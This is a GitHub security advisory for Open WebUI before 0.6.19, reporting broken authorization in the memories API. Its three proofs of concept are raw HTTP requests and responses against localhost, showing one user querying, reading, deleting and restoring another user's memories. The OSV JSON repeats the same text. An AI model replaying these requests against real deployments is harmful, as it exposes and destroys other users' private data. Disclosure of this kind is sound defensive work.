GHSA-HMJQ-CRXP-7RJW
Vulnerability from github – Published: 2026-05-11 14:25 – Updated: 2026-05-19 15:57Summary
Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.
Details
Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.
Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.
The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again.
PoC 1
Example of a user with no memories able to query an existing memory from another user
GET /api/v1/memories/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 0
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:19:58 GMT
server: uvicorn
content-length: 2
content-type: application/json
x-process-time: 0
[]
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive
{
"content": ""
}
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:22:01 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
access-control-allow-origin: *
access-control-allow-credentials: true
{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}
PoC 2
Example showing excess output about a memory a user has no access to modify
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23
{
"content": ""
}
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 18:53:37 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0
{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}
PoC 3
Example showing a memory being deleted then restored by a different user than its owner
DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Connection: keep-alive
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:31:19 GMT
server: uvicorn
content-length: 4
content-type: application/json
x-process-time: 0
true
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive
{
"content": ""
}
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:32:31 GMT
server: uvicorn
content-length: 63
content-type: application/json
x-process-time: 0
{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23
{
"content": ""
}
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:05 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0
{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive
{
"content": ""
}
---
HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:34 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}
Impact
Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44570"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:25:49Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users\u0027 memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user\u0027s memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint\u0027s response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user\u0027s memories. Disclosure of unique user ID values to non-admins when viewing a memory.",
"id": "GHSA-hmjq-crxp-7rjw",
"modified": "2026-05-19T15:57:47Z",
"published": "2026-05-11T14:25:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44570"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has inconsistent authorization controls within memories API"
}
Sightings
| Author | Source | Type | Date | Other |
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Nomenclature
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